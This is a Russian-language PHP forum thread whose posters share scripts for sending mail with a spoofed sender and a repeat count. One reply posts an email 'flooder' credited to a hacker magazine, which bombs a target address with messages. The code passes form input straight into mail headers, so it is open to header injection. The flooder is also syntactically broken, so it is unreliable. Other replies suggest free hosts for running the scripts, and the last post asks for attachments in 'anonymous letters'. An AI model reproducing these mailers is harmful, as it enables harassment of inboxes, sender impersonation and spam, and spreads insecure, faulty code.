отправка email на php
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
отправка email на php - 2008-12-28 00:32:04.250000
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
итак сейчас я покажу удобный скрипт для отправки почты на php использующий функцию mail() и позволяющий отправлять в html формате прежде чем его запускать убедитись что она доступна у вас на хостинге 1)для удобства создадим форму отправки <form method="post" action="<? $_SERVER['PHP_SELF']; ?>" > <b>Кому: </b><br /> <input name="one" type="text" value=""><br /><br /> <b>От кого: </b><br /> <input name="two" type="text" value=""><br /><br /> <b>Куда присылать ответ: </b><br /> <input name="reaplyto" type="text" value=""><br /><br /> <b>Имя отправителя: </b><br /> <input name="name" type="text" value=""><br /><br /> <b>Тема: </b><br /> <input name="subj" type="text" value=""><br /><br /> <b>Сообщение: </b><br /> <textarea name="mess" rows="20" cols="70"> </textarea><br /><br /> <b>Отправить раз: </b><br /> <input name="num" type="text" value=""> <br /><br /> <b>Вид сообщения: </b><br /> <select size="1" name="format"> <option value="html">html</option> <option value="text">text</option> </select><br /><br /> <input name="submit" type="submit" value="Поехали!"> <br /><br /> </form> 2) ……………….далее начинаем писать скрипт для отсылки…………………. <?php switch($_POST['format']) // включаем обрабочик swith { case "html" : //если html $headers = "Content-type: text/html; charset=windows-1251 \r\n"; //заголовки $headers.= "From: ".$_POST['name']." <".$_POST['two'].">\r\n"; //от кого имя и мыло $headers.= "Reply-To: ".$_POST['reaplyto']."\r\n"; //куда присылать ответ $i=0; while ($i < $_POST['num']) // используем цикл если будем отсылать не одно сообщение { mail($_POST['one'], $_POST['subj'], $_POST['mess'], $headers); //сама функция отправки $i++; } break; case "text" : //все повторяется тоько для text формата письма $headers = "Content-type: text/plain; charset=windows-1251 \r\n"; $headers.= "From: ".$_POST['name']." <".$_POST['two'].">\r\n"; $headers.= "Reply-To: ".$_POST['reaplyto']."\r\n"; $i=0; while ($i < $_POST['num']) { mail($_POST['one'], $_POST['subj'], $_POST['mess'], $headers); $i++; } break; } ?> как совет хочу сказать что не стоит отсылать много писем тк это может привести к тому что скрипт прекратит работу из за окончания времени действия скрипта и еще - многие почтовые сервисы сразу засывавают отосланные таким образом сообщения в спам
|
|
|
RE: отправка email на php - 2008-12-28 01:02:31.386666
|
|
|
UDO
Сообщений: 435
Оценки: 0
Присоединился: 2008-12-04 00:55:31.380000
|
++ поставил, спасибо за скриптик… я сам писал подобный и выкладывал в халяве
|
|
|
RE: отправка email на php - 2008-12-28 11:18:03.126666
|
|
|
horiz
Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
|
Все неплохо, но вот смущает повторение кода. А если так: switch($_POST['format']){
case "html" : $type="html"; break;
case "text" : $type="plain"; break;
}
$headers = "Content-type: text/".$type."; charset=windows-1251 \r\n"; //здесь вставляем $type
$headers.= "From: ".$_POST['name']." <".$_POST['two'].">\r\n";
$headers.= "Reply-To: ".$_POST['reaplyto']."\r\n";
$i=0;
while ($i < $_POST['num'])
{
mail($_POST['one'], $_POST['subj'], $_POST['mess'], $headers);
$i++;
}
|
|
|
RE: отправка email на php - 2008-12-28 12:57:42.156666
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
тоже думаю можно такой вариант
|
|
|
RE: отправка email на php - 2008-12-31 20:22:43.336666
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
работает со скоростью в зависимости от хостинга
|
|
|
RE: отправка email на php - 2009-01-25 03:59:22.300000
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
А прова на папку нужна выставлять? и можите какойнебуть бесплатный хостинг посоветовать ато на маём помойму не катит отправка мыла. Спасибо.
|
|
|
RE: отправка email на php - 2009-01-25 11:54:18.970000
|
|
|
.::[KOCTET]::.
Сообщений: 101
Оценки: 0
Присоединился: 2008-12-06 21:32:50.060000
|
http://yard.ru/
|
|
|
RE: отправка email на php - 2009-01-25 12:33:40.960000
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
Спосиба огьмное держи + но регистрация толька для пользоватилей Украины и Россий [:(][>:][&o]
|
|
|
RE: отправка email на php - 2009-01-25 21:15:37.730000
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
quote:
ORIGINAL: Alex 111 А прова на папку нужна выставлять? и можите какойнебуть бесплатный хостинг посоветовать ато на маём помойму не катит отправка мыла. Спасибо. http://www.hostland.su/ права никакие не выставлял
|
|
|
RE: отправка email на php - 2009-01-25 22:58:11.770000
|
|
|
UDO
Сообщений: 435
Оценки: 0
Присоединился: 2008-12-04 00:55:31.380000
|
quote:
ORIGINAL: FriLL http://www.hostland.su/ права никакие не выставлял неактуально! теперь за регу нада платить там у них
|
|
|
RE: отправка email на php - 2009-01-26 00:13:53.610000
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
quote:
ORIGINAL: UDO quote:
ORIGINAL: FriLL http://www.hostland.su/ права никакие не выставлял неактуально! теперь за регу нада платить там у них да эт точна, а есть ещё что на примети?
|
|
|
RE: отправка email на php - 2009-01-26 06:46:07.773333
|
|
|
ih8u
Сообщений: 227
Оценки: 0
Присоединился: 2009-01-12 00:19:08.080000
|
by.ru zexy.ru holm.ru phpnet.us freehostia.com
|
|
|
RE: отправка email на php - 2009-01-26 14:34:23.196666
|
|
|
Alex 111
Сообщений: 124
Оценки: 0
Присоединился: 2008-11-05 05:02:05.753333
|
by ru, holm.ru можна уже вычекнуть. А остальныи сейчас посмотрим.
|
|
|
RE: отправка email на php - 2009-01-26 15:14:47.320000
|
|
|
MotoKiller
Сообщений: 1732
Оценки: 56
Присоединился: 2008-03-02 20:08:53.810000
|
<? ignore_user_abort(1); set_time_limit(0); $to = "target@mail.com"; $from = "from@mail.com"; $subject = "test"; $msg = "mail_message"; //$check = "your_mail@mail.com"; $amount = 1; $fl = ("./log.txt", "w"); $count = 0; if(strlen($from) == 0 || strlen($to) == 0 || strlen($msg) == 0 || strlen($amount) == 0){ echo("<br><center>Write message!</center>"); exit; } else{ while($count < $amount){ mail("$to", "$subject", "$msg", "From: $from"); count .= + 1; fputs($fl, "$count flood-letters was sended…\n"); } if(strlen($check) != 0){ $check_text = 'Done! $count flood-letters was sended!\n'; $check_sub = 'Check'; mail("$check", "$check_sub", "$check_text", "From: $from"); fputs($fl, "Done! $count flood-letters was sended!\n"); } else{ fputs($fl, "Done! $count flood-letters was sended!\n"); } } fclose($fl); ?> Источник Хакер №109
|
|
|
RE: отправка email на php - 2009-02-01 00:09:42.343333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
типа добавил новые функции прикрепл файл обновлен дизайн by oRb
|
|
|
RE: отправка email на php - 2009-02-12 19:15:38.833333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
добавил еще функций
|
|
|
RE: отправка email на php - 2009-02-23 07:08:06.163333
|
|
|
Lex71
Сообщений: 2
Оценки: 0
Присоединился: 2009-02-23 06:17:32.833333
|
Расскажите как эти скрипты работают ?
|
|
|
RE: отправка email на php - 2009-02-24 12:45:31.266666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Ставишь на любой бесплатный хост с поддержкой php и тестишь (кроме narod.ru)
|
|
|
RE: отправка email на php - 2011-08-08 02:43:24.530000
|
|
|
zed212
Сообщений: 3
Оценки: 0
Присоединился: 2011-08-07 00:40:18.560000
|
вопрос к афтору выложивший первый скрипт FriLL: вапрос 1 непонятно в какой фармат первый скрипт сохранять и если их два идёт то как их называть всмысле названия 1 и 2 скрипта и вапрос 2. как можна в такие скрипты анонимных писем с функцией количество вставить форму загрузки файлоф воток и т д вот есть форма по другому Аттач; вот она чистая <tr><input name="file1" type="file"></td> <tr><input name="file2" type="file"></td> <tr><input name="file3" type="file"></td> <tr><input name="file4" type="file"></td> <tr><input name="file5" type="file"></td> <tr><input name="file6" type="file"></td> <tr><input name="file7" type="file"></td> <tr><input name="file8" type="file"></td> <tr><input name="file9" type="file"></td> <tr><input name="file10" type="file"></td> <tr><input name="file11" type="file"></td> <tr><input name="file12" type="file"></td> <tr><input name="file13" type="file"></td> <tr><input name="file14" type="file"></td> ———- вапрос вот как её прикрепить к таким скрипта как у автора FriLL: если кто знает напишите как можна в асю 609-603-736
|
|
|
|
|